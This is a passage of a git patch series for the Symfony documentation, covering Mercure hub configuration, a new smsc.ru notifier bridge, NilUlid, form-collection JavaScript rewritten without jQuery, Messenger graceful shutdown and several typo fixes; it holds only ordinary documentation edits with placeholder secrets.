-    $ SERVER_NAME=:3000 MERCURE_PUBLISHER_JWT_KEY='!ChangeMe!' MERCURE_SUBSCRIBER_JWT_KEY='!ChangeMe!' ./mercure run -config Caddyfile.dev
-
-On Windows run:
-
-.. rst-class: command-windows
-
-    > $env:SERVER_NAME=':3000'; $env:MERCURE_PUBLISHER_JWT_KEY='!ChangeMe!'; $env:MERCURE_SUBSCRIBER_JWT_KEY='!ChangeMe!'; .\mercure.exe run -config Caddyfile.dev
-
-.. note::
-
-    Alternatively to the binary, a Docker image, a Helm chart for Kubernetes
-    and a managed, High Availability Hub are also provided by Mercure.rocks.
+For production usage, an official and open source (AGPL) Hub based on the Caddy web server
+can be downloaded as a static binary from `Mercure.rocks`_.
+Alternatively to the binary, a Docker image, a Helm chart for Kubernetes
+and a managed, High Availability Hub are also provided.
 
 .. tip::
 
     The `API Platform distribution`_ comes with a Docker Compose configuration
     as well as a Helm chart for Kubernetes that are 100% compatible with Symfony,
-    and contain a Mercure hub.
+    and contain a build of the Caddy web server including a Mercure hub.
     You can copy them in your project, even if you don't use API Platform.
 
 Configuration
@@ -101,18 +87,30 @@ Configuration
 The preferred way to configure the MercureBundle is using
 :doc:`environment variables </configuration>`.
 
-Set the URL of your hub as the value of the ``MERCURE_PUBLISH_URL`` env var.
-The ``.env`` file of your project has been updated by the Flex recipe to
-provide example values.
-Set it to the URL of the Mercure Hub (``http://localhost:3000/.well-known/mercure`` by default).
+When MercureBundle has been installed, the ``.env`` file of your project
+has been updated by the Flex recipe to include the available env vars.
+
+If you use the Symfony Local Web Server or Symfony Docker,
+the default values are compatible with the provided Hub
+and you can skip straight to the next section.
 
-In addition, the Symfony application must bear a `JSON Web Token`_ (JWT)
-to the Mercure Hub to be authorized to publish updates.
+Otherwise, set the URL of your hub as the value of the ``MERCURE_URL``
+and ``MERCURE_PUBLIC_URL`` env vars.
+Sometimes a different URL must be called by the Symfony app (usually to publish),
+and the JavaScript client (usually to subscrribe). It's especially common when
+the Symfony app must use a local URL and the client-side JavaScript code a public one.
+In this case, ``MERCURE_URL`` must contain the local URL that will be used by the
+Symfony app (e.g. ``https://mercure/.well-known/mercure``), and ``MERCURE_PUBLIC_URL``
+the publicly available URL (e.g. ``https://example.com/.well-known/mercure``).
 
-This JWT should be stored in the ``MERCURE_JWT_TOKEN`` environment variable.
+The clients must also bear a `JSON Web Token`_ (JWT)
+to the Mercure Hub to be authorized to publish updates and, sometimes, to subscribe.
+
+This JWT should be stored in the ``MERCURE_JWT_SECRET`` environment variable.
 
 The JWT must be signed with the same secret key as the one used by
-the Hub to verify the JWT (``!ChangeMe!`` in our example).
+the Hub to verify the JWT (``!ChangeMe!`` in you use the Local Web Server or
+Symfony Docker).
 Its payload must contain at least the following structure to be allowed to
 publish:
 
@@ -136,7 +134,7 @@ public updates (see the authorization_ section for further information).
 
 .. caution::
 
-    Don't put the secret key in ``MERCURE_JWT_TOKEN``, it will not work!
+    Don't put the secret key in ``MERCURE_JWT_SECRET``, it will not work!
     This environment variable must contain a JWT, signed with the secret key.
 
     Also, be sure to keep both the secret key and the JWTs... secrets!
@@ -158,13 +156,14 @@ service, including controllers::
     // src/Controller/PublishController.php
     namespace App\Controller;
 
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Mercure\HubInterface;
     use Symfony\Component\Mercure\Update;
 
-    class PublishController
+    class PublishController extends AbstractController
     {
-        public function __invoke(HubInterface $hub): Response
+        public function publish(HubInterface $hub): Response
         {
             $update = new Update(
                 'http://example.com/books/1',
@@ -198,7 +197,7 @@ Subscribing to updates in JavaScript is straightforward:
 
 .. code-block:: javascript
 
-    const eventSource = new EventSource('http://localhost:3000/.well-known/mercure?topic=' + encodeURIComponent('http://example.com/books/1'));
+    const eventSource = new EventSource('/.well-known/mercure?topic=' + encodeURIComponent('http://example.com/books/1'));
     eventSource.onmessage = event => {
         // Will be called every time an update is published by the server
         console.log(JSON.parse(event.data));
@@ -211,7 +210,7 @@ as patterns:
 .. code-block:: javascript
 
     // URL is a built-in JavaScript class to manipulate URLs
-    const url = new URL('http://localhost:3000/.well-known/mercure');
+    const url = new URL('/.well-known/mercure', window.origin);
     url.searchParams.append('topic', 'http://example.com/books/1');
     // Subscribe to updates of several Book resources
     url.searchParams.append('topic', 'http://example.com/books/2');
@@ -241,43 +240,6 @@ as patterns:
 
     Test if a URI Template match a URL using `the online debugger`_
 
-Async dispatching
------------------
-
-Instead of calling the ``Publisher`` service directly, you can also let Symfony
-dispatching the updates asynchronously thanks to the provided integration with
-the Messenger component.
-
-First, be sure :doc:`to install the Messenger component </messenger>`
-and to configure properly a transport (if you don't, the handler will
-be called synchronously).
-
-Then, dispatch the Mercure ``Update`` to the Messenger's Message Bus,
-it will be handled automatically::
-
-    // src/Controller/PublishController.php
-    namespace App\Controller;
-
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Mercure\Update;
-    use Symfony\Component\Messenger\MessageBusInterface;
-
-    class PublishController
-    {
-        public function __invoke(MessageBusInterface $bus): Response
-        {
-            $update = new Update(
-                'http://example.com/books/1',
-                json_encode(['status' => 'OutOfStock'])
-            );
-
-            // Sync, or async (RabbitMQ, Kafka...)
-            $bus->dispatch($update);
-
-            return new Response('published!');
-        }
-    }
-
 Discovery
 ---------
 
@@ -324,7 +286,7 @@ and to subscribe to it:
             const hubUrl = response.headers.get('Link').match(/<([^>]+)>;\s+rel=(?:mercure|"[^"]*mercure[^"]*")/)[1];
 
             // Append the topic(s) to subscribe as query parameter
-            const hub = new URL(hubUrl);
+            const hub = new URL(hubUrl, window.origin);
             hub.searchParams.append('topic', 'http://example.com/books/{id}');
 
             // Subscribe to updates
@@ -348,7 +310,7 @@ of the ``Update`` constructor to ``true``::
 
     class PublishController extends AbstractController
     {
-        public function __invoke(HubInterface $hub): Response
+        public function publish(HubInterface $hub): Response
         {
             $update = new Update(
                 'http://example.com/books/1',
@@ -456,7 +418,7 @@ And here is the controller::
 
     class DiscoverController extends AbstractController
     {
-        public function __invoke(Request $request, Discovery $discovery, Authorization $authorization): Response
+        public function publish(Request $request, Discovery $discovery, Authorization $authorization): Response
         {
             $discovery->addLink($request);
 
@@ -601,7 +563,7 @@ During unit testing there is not need to send updates to Mercure.
 
 You can instead make use of the `MockHub`::
 
-    // tests/Functional/.php
+    // tests/FunctionalTest.php
     namespace App\Tests\Unit\Controller;
 
     use App\Controller\MessageController;
@@ -653,6 +615,10 @@ sent. Here is the HubStub implementation:
     App\Tests\Functional\Fixtures\HubStub:
         decorates: mercure.hub.default
 
+.. tip::
+
+    Symfony Panther has `a feature to test applications using Mercure`_.
+
 Debugging
 ---------
 
@@ -693,6 +659,51 @@ Enable the panel in your configuration, as follows:
 
 .. image:: /_images/mercure/panel.png
 
+Async dispatching
+-----------------
+
+.. tip::
+
+    Async dispatching is discouraged. Most Mercure hubs already
+    handle publications asynchronously and using Messenger is
+    usually not necessary.
+
+Instead of calling the ``Publisher`` service directly, you can also let Symfony
+dispatching the updates asynchronously thanks to the provided integration with
+the Messenger component.
+
+First, be sure :doc:`to install the Messenger component </messenger>`
+and to configure properly a transport (if you don't, the handler will
+be called synchronously).
+
+Then, dispatch the Mercure ``Update`` to the Messenger's Message Bus,
+it will be handled automatically::
+
+    // src/Controller/PublishController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Mercure\Update;
+    use Symfony\Component\Messenger\MessageBusInterface;
+
+    class PublishController extends AbstractController
+    {
+        public function publish(MessageBusInterface $bus): Response
+        {
+            $update = new Update(
+                'http://example.com/books/1',
+                json_encode(['status' => 'OutOfStock'])
+            );
+
+            // Sync, or async (Doctrine, RabbitMQ, Kafka...)
+            $bus->dispatch($update);
+
+            return new Response('published!');
+        }
+    }
+
+
 .. _`the Mercure protocol`: https://mercure.rocks/spec
 .. _`Server-Sent Events (SSE)`: https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events
 .. _`a polyfill`: https://github.com/Yaffle/EventSource
@@ -707,3 +718,4 @@ Enable the panel in your configuration, as follows:
 .. _`practical UI`: https://twitter.com/ChromeDevTools/status/562324683194785792
 .. _`the dedicated API Platform documentation`: https://api-platform.com/docs/core/mercure/
 .. _`the online debugger`: https://uri-template-tester.mercure.rocks
+.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket

From 5b0869f1b10f961dc1f4cf7159a9d205f0098cff Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 17 Jul 2021 09:20:54 +0200
Subject: [PATCH 0994/5766] Fix: Build

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 76113397e68..0e72bb4f3e2 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -97,3 +97,4 @@ whitelist:
         - '.. versionadded:: 0.2' # MercureBundle
         - '.. code-block:: twig'
         - 'End to End Tests (E2E)'
+        - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'

From 500d3011d8994917c9470cf5054c046b42889138 Mon Sep 17 00:00:00 2001
From: M#3 <zspine@users.noreply.github.com>
Date: Sat, 17 Jul 2021 01:07:18 +0400
Subject: [PATCH 0995/5766] Invalid namespace and method name

---
 mercure.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index a350ccba706..e5ff26e147a 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -450,11 +450,11 @@ the ``HubInterface`` object::
     // src/Mercure/MyTokenProvider.php
     namespace App\Mercure;
 
-    use Symfony\Component\Mercure\JWT\TokenProviderInterface;
+    use Symfony\Component\Mercure\Jwt\TokenProviderInterface;
 
     final class MyTokenProvider implements TokenProviderInterface
     {
-        public function getToken(): string
+        public function getJwt(): string
         {
             return 'the-JWT';
         }

From 5f443b99bf9712016e000c402579d193c4db3c9c Mon Sep 17 00:00:00 2001
From: Valentin Nazarov <i.kozlice@protonmail.com>
Date: Mon, 19 Jul 2021 01:37:07 +0300
Subject: [PATCH 0996/5766] [Notifier] Add bridge for smsc.ru

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 071cf8fa527..624d7c42220 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -75,6 +75,7 @@ Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@def
 Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
 SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
+Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
 SpotHit         ``symfony/spothit-notifier``          ``spothit://TOKEN@default?from=FROM``
 Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
 ==============  ====================================  ===========================================================================
@@ -94,7 +95,7 @@ Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@defau
 
 .. versionadded:: 5.4
 
-    The MessageMedia integration was introduced in Symfony 5.4.
+    The MessageMedia and Smsc integration was introduced in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 6144e6a62bf22f61c5531889245519802370a9de Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 19 Jul 2021 11:27:44 +0200
Subject: [PATCH 0997/5766] Fix: Typo

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 624d7c42220..d7b7990c3e2 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -95,7 +95,7 @@ Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@defau
 
 .. versionadded:: 5.4
 
-    The MessageMedia and Smsc integration was introduced in Symfony 5.4.
+    The MessageMedia and Smsc integrations were introduced in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 23f4e26d03a119db02cc687cf07329ecb59e77b8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jul 2021 11:25:12 +0200
Subject: [PATCH 0998/5766] [Uid] Document NilUlid class

---
 components/uid.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index d6b3692be45..44521d52176 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -269,6 +269,17 @@ following methods to create a ``Ulid`` object from it::
     The ``fromBinary()``, ``fromBase32()``, ``fromBase58()`` and ``fromRfc4122()``
     methods were introduced in Symfony 5.3.
 
+There's also a special ``NilUlid`` class to represent ULID ``null`` values::
+
+    use Symfony\Component\Uid\NilUlid;
+
+    $ulid = new NilUlid();
+    // equivalent to $ulid = new Ulid('00000000000000000000000000');
+
+.. versionadded:: 5.4
+
+    The ``NilUlid`` class was introduced in Symfony 5.4.
+
 Converting ULIDs
 ~~~~~~~~~~~~~~~~
 

From 7fd5bde0075ae588d23a8840e5573fa4f05458ab Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jul 2021 12:39:48 +0200
Subject: [PATCH 0999/5766] [Config] [Configuration] Added a note about XML and
 PHP formats

---
 configuration.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 1b028499eb1..be5c16c8728 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -60,6 +60,13 @@ configure your applications. Symfony lets you choose between YAML, XML and PHP
 and throughout the Symfony documentation, all configuration examples will be
 shown in these three formats.
 
+.. versionadded:: 5.1
+
+    Starting from Symfony 5.1, by default Symfony only loads the configuration
+    files defined in YAML format. If you define configuration in XML and/or PHP
+    formats, update the ``src/Kernel.php`` file to add support for the ``.xml``
+    and ``.php`` file extensions.
+
 There isn't any practical difference between formats. In fact, Symfony
 transforms and caches all of them into PHP before running the application, so
 there's not even any performance difference between them.

From b6ee00c75ffedcd4b909c7c3ea394110240492aa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Jul 2021 13:40:48 +0200
Subject: [PATCH 1000/5766] Added a note about the config formats

---
 configuration.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 137e9037759..76d4cd1bd52 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -60,13 +60,6 @@ configure your applications. Symfony lets you choose between YAML, XML and PHP
 and throughout the Symfony documentation, all configuration examples will be
 shown in these three formats.
 
-.. versionadded:: 5.1
-
-    Starting from Symfony 5.1, by default Symfony only loads the configuration
-    files defined in YAML format. If you define configuration in XML and/or PHP
-    formats, update the ``src/Kernel.php`` file to add support for the ``.xml``
-    and ``.php`` file extensions.
-
 There isn't any practical difference between formats. In fact, Symfony
 transforms and caches all of them into PHP before running the application, so
 there's not even any performance difference between them.
@@ -81,6 +74,13 @@ readable. These are the main advantages and disadvantages of each format:
 * **PHP**: very powerful and it allows you to create dynamic configuration with
   arrays or a :ref:`ConfigBuilder <config-config-builder>`.
 
+.. note::
+
+    By default Symfony only loads the configuration files defined in YAML
+    format. If you define configuration in XML and/or PHP formats, update the
+    ``src/Kernel.php`` file to add support for the ``.xml`` and ``.php`` file
+    extensions.
+
 Importing Configuration Files
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 5c960b49f501da099a29fa7aef8113716983b978 Mon Sep 17 00:00:00 2001
From: Arnaud POINTET <arnaud.pointet@gmail.com>
Date: Wed, 23 Jun 2021 11:30:47 +0200
Subject: [PATCH 1001/5766] Add vanilla js for add a collection element

---
 form/form_collections.rst | 90 +++++++++++++++------------------------
 1 file changed, 34 insertions(+), 56 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 89f079c944d..f804f608b6a 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -255,7 +255,7 @@ On the rendered page, the result will look something like this:
 
 .. code-block:: html
 
-    <ul class="tags" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
+    <ul class="tags" data-index="{{ form.tags|length > 0 ? form.bars|last.vars.name + 1 : 0 }}" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
 
 .. seealso::
 
@@ -290,19 +290,9 @@ functionality with JavaScript:
 
 .. code-block:: javascript
 
-    jQuery(document).ready(function() {
-        // Get the ul that holds the collection of tags
-        var $tagsCollectionHolder = $('ul.tags');
-        // count the current form inputs we have (e.g. 2), use that as the new
-        // index when inserting a new item (e.g. 2)
-        $tagsCollectionHolder.data('index', $tagsCollectionHolder.find('input').length);
-
-        $('body').on('click', '.add_item_link', function(e) {
-            var $collectionHolderClass = $(e.currentTarget).data('collectionHolderClass');
-            // add a new tag form (see next code block)
-            addFormToCollection($collectionHolderClass);
-        })
-    });
+    document
+      .querySelectorAll('.add_item_link')
+      .forEach(btn => btn.addEventListener("click", addFormToCollection));
 
 The ``addFormToCollection()`` function's job will be to use the ``data-prototype``
 attribute to dynamically add a new form when this link is clicked. The ``data-prototype``
@@ -312,34 +302,23 @@ you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``)
 
 .. code-block:: javascript
 
-    function addFormToCollection($collectionHolderClass) {
-        // Get the ul that holds the collection of tags
-        var $collectionHolder = $('.' + $collectionHolderClass);
-
-        // Get the data-prototype explained earlier
-        var prototype = $collectionHolder.data('prototype');
+    const addFormToCollection = (e) => {
+      const collectionHolder = document.querySelector('.' + e.currentTarget.dataset.collectionHolderClass);
 
-        // get the new index
-        var index = $collectionHolder.data('index');
+      const item = document.createElement('li');
 
-        var newForm = prototype;
-        // You need this only if you didn't set 'label' => false in your tags field in TaskType
-        // Replace '__name__label__' in the prototype's HTML to
-        // instead be a number based on how many items we have
-        // newForm = newForm.replace(/__name__label__/g, index);
+      item.innerHTML = collectionHolder
+        .dataset
+        .prototype
+        .replace(
+          /__name__/g,
+          collectionHolder.dataset.index
+        );
 
-        // Replace '__name__' in the prototype's HTML to
-        // instead be a number based on how many items we have
-        newForm = newForm.replace(/__name__/g, index);
+      collectionHolder.appendChild(item);
 
-        // increase the index with one for the next item
-        $collectionHolder.data('index', index + 1);
-
-        // Display the form in the page in an li, before the "Add a tag" link li
-        var $newFormLi = $('<li></li>').append(newForm);
-        // Add the new form at the end of the list
-        $collectionHolder.append($newFormLi)
-    }
+      collectionHolder.dataset.index++;
+    };
 
 Now, each time a user clicks the ``Add a tag`` link, a new sub form will
 appear on the page. When the form is submitted, any new tag forms will be converted
@@ -552,36 +531,35 @@ First, add a "delete this tag" link to each tag form:
 
 .. code-block:: javascript
 
-    jQuery(document).ready(function() {
-        // Get the ul that holds the collection of tags
-        $collectionHolder = $('ul.tags');
-
-        // add a delete link to all of the existing tag form li elements
-        $collectionHolder.find('li').each(function() {
-            addTagFormDeleteLink($(this));
-        });
-
-        // ... the rest of the block from above
-    });
+    const tags = document.querySelectorAll('ul.tags')
+    tags.forEach((tag) => {
+        addTagFormDeleteLink(tag)
+    })
 
+    // ... the rest of the block from above
+    
     function addFormToCollection() {
         // ...
 
         // add a delete link to the new form
-        addTagFormDeleteLink($newFormLi);
+        addTagFormDeleteLink(item);
     }
 
 The ``addTagFormDeleteLink()`` function will look something like this:
 
 .. code-block:: javascript
 
-    function addTagFormDeleteLink($tagFormLi) {
-        var $removeFormButton = $('<button type="button">Delete this tag</button>');
-        $tagFormLi.append($removeFormButton);
+    const addTagFormDeleteLink = (tagFormLi) => {
+        const removeFormButton = document.createElement('button')
+        removeFormButton.classList
+        removeFormButton.innerText = 'Delete this tag'
+        
+        tagFormLi.append(removeFormButton);
 
-        $removeFormButton.on('click', function(e) {
+        removeFormButton.addEventListener('click', (e) => {
+            e.preventDefault()
             // remove the li for the tag form
-            $tagFormLi.remove();
+            tagFormLi.remove();
         });
     }
 
@@ -677,7 +655,7 @@ the relationship between the removed ``Tag`` and ``Task`` object.
 
 .. _`Owning Side and Inverse Side`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/unitofwork-associations.html
 .. _`jQuery`: http://jquery.com/
-.. _`JSFiddle`: http://jsfiddle.net/847Kf/4/
+.. _`JSFiddle`: https://jsfiddle.net/ey8ozh6n/
 .. _`@a2lix/symfony-collection`: https://github.com/a2lix/symfony-collection
 .. _`symfony-collection`: https://github.com/ninsuo/symfony-collection
 .. _`ArrayCollection`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html

From f09ea9e7ae9ddabc92d286aa27d199f3a34c664e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Jul 2021 14:56:59 +0200
Subject: [PATCH 1002/5766] Minor code fix

---
 form/form_collections.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index f804f608b6a..3355bc72065 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -255,7 +255,7 @@ On the rendered page, the result will look something like this:
 
 .. code-block:: html
 
-    <ul class="tags" data-index="{{ form.tags|length > 0 ? form.bars|last.vars.name + 1 : 0 }}" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
+    <ul class="tags" data-index="{{ form.tags|length > 0 ? form.tags|last.vars.name + 1 : 0 }}" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
 
 .. seealso::
 

From 79d5a07c5b48987f3c44875dafe44027f9c23b20 Mon Sep 17 00:00:00 2001
From: AymDev <aymericmayeux@gmail.com>
Date: Sun, 18 Jul 2021 17:33:03 +0200
Subject: [PATCH 1003/5766] [Messenger] Supervisor graceful shutdown

---
 messenger.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index e709b3ac37c..c4e79b5af8b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -653,6 +653,25 @@ config and start your workers:
 
 See the `Supervisor docs`_ for more details.
 
+Graceful Shutdown
+~~~~~~~~~~~~~~~~~
+
+Workers can handle the ``SIGTERM`` POSIX signal to finish handling their
+current message before exiting, as long as the `PCNTL`_ extension is installed.
+
+.. tip::
+
+    In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g.
+    stopping a Docker container having Supervisor as its entrypoint).
+    In these cases you need to add a ``stopwaitsecs`` key to the program
+    configuration (with a value of the desired grace period in seconds)
+    in order to perform a graceful shutdown.
+    
+    .. code-block:: ini
+    
+        [program:x]
+        stopwaitsecs=20
+
 .. _messenger-retries-failures:
 
 Retries & Failures
@@ -1747,4 +1766,5 @@ Learn more
 .. _`Enqueue's transport`: https://github.com/sroze/messenger-enqueue-transport
 .. _`streams`: https://redis.io/topics/streams-intro
 .. _`Supervisor docs`: http://supervisord.org/
+.. _`PCNTL`: https://www.php.net/manual/book.pcntl.php
 .. _`SymfonyCasts' message serializer tutorial`: https://symfonycasts.com/screencast/messenger/transport-serializer

From 1ed8250f23e64bc4558f5a32f1e4f12ca23aeccd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Jul 2021 15:36:54 +0200
Subject: [PATCH 1004/5766] Minor tweaks

---
 messenger.rst | 24 +++++++++++-------------
 1 file changed, 11 insertions(+), 13 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index c4e79b5af8b..d726ace082b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -656,21 +656,19 @@ See the `Supervisor docs`_ for more details.
 Graceful Shutdown
 ~~~~~~~~~~~~~~~~~
 
-Workers can handle the ``SIGTERM`` POSIX signal to finish handling their
-current message before exiting, as long as the `PCNTL`_ extension is installed.
+If you install the `PCNTL`_ PHP extension in your project, workers will handle
+the ``SIGTERM`` POSIX signal to finish processing their current message before
+exiting.
 
-.. tip::
+In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g. stopping
+a Docker container having Supervisor as its entrypoint). In these cases you
+need to add a ``stopwaitsecs`` key to the program configuration (with a value
+of the desired grace period in seconds) in order to perform a graceful shutdown:
+
+.. code-block:: ini
 
-    In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g.
-    stopping a Docker container having Supervisor as its entrypoint).
-    In these cases you need to add a ``stopwaitsecs`` key to the program
-    configuration (with a value of the desired grace period in seconds)
-    in order to perform a graceful shutdown.
-    
-    .. code-block:: ini
-    
-        [program:x]
-        stopwaitsecs=20
+    [program:x]
+    stopwaitsecs=20
 
 .. _messenger-retries-failures:
 

From e10d284e27ebb11fdcc9169ce508f727221fd067 Mon Sep 17 00:00:00 2001
From: Hiromi Hishida <info@77-web.com>
Date: Sun, 18 Jul 2021 21:05:26 +0900
Subject: [PATCH 1005/5766] add description to amazon-sqs-transport's
 access_key and secret_key

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 97791ff9617..4a061ffa4cc 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1423,7 +1423,7 @@ The transport has a number of options:
 ======================  ======================================  ===================================
      Option             Description                             Default
 ======================  ======================================  ===================================
-``access_key``          AWS access key
+``access_key``          AWS access key                          must be urlencoded
 ``account``             Identifier of the AWS account           The owner of the credentials
 ``auto_setup``          Whether the queue should be created     ``true``
                         automatically during send / get.
@@ -1433,7 +1433,7 @@ The transport has a number of options:
                         seconds
 ``queue_name``          Name of the queue                       messages
 ``region``              Name of the AWS region                  eu-west-1
-``secret_key``          AWS secret key
+``secret_key``          AWS secret key                          must be urlencoded
 ``visibility_timeout``  Amount of seconds the message will      Queue's configuration
                         not be visible (`Visibility Timeout`_)
 ``wait_time``           `Long polling`_ duration in seconds     20

From 3a1bbc83849acfa575682412634394b9780a6f62 Mon Sep 17 00:00:00 2001
From: Anto <antograssiot@free.fr>
Date: Wed, 21 Jul 2021 15:00:34 +0200
Subject: [PATCH 1006/5766] Fix wrong option flag name

---
 reference/configuration/security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index e44d2532f02..db4558a939f 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -500,7 +500,7 @@ the ``debug:firewall`` command:
 
     # displays the details of a specific firewall, including detailed information
     # about the event listeners for the firewall
-    $ php bin/console debug:firewall main --include-listeners
+    $ php bin/console debug:firewall main --events
 
 .. versionadded:: 5.3
 

From 64b2d45ac21a685644848c1f1f7ccac800b3f2bf Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@jolicode.com>
Date: Wed, 21 Jul 2021 16:12:36 +0200
Subject: [PATCH 1007/5766] Remove useless quotes for `render_rest` attribute

---
 form/form_customization.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index 81d4007ce9e..654dfaa2a7e 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -204,7 +204,7 @@ article) unless you set ``render_rest`` to false:
 .. code-block:: twig
 
     {# don't render unrendered fields #}
-    {{ form_end(form, {'render_rest': false}) }}
+    {{ form_end(form, {render_rest: false}) }}
 
 .. _reference-forms-twig-label:
 

From 3498214b258c8fbcf169902b97feaa2e154b482b Mon Sep 17 00:00:00 2001
From: Joe Bennett <joe@assimtech.com>
Date: Thu, 22 Jul 2021 15:27:19 +1000
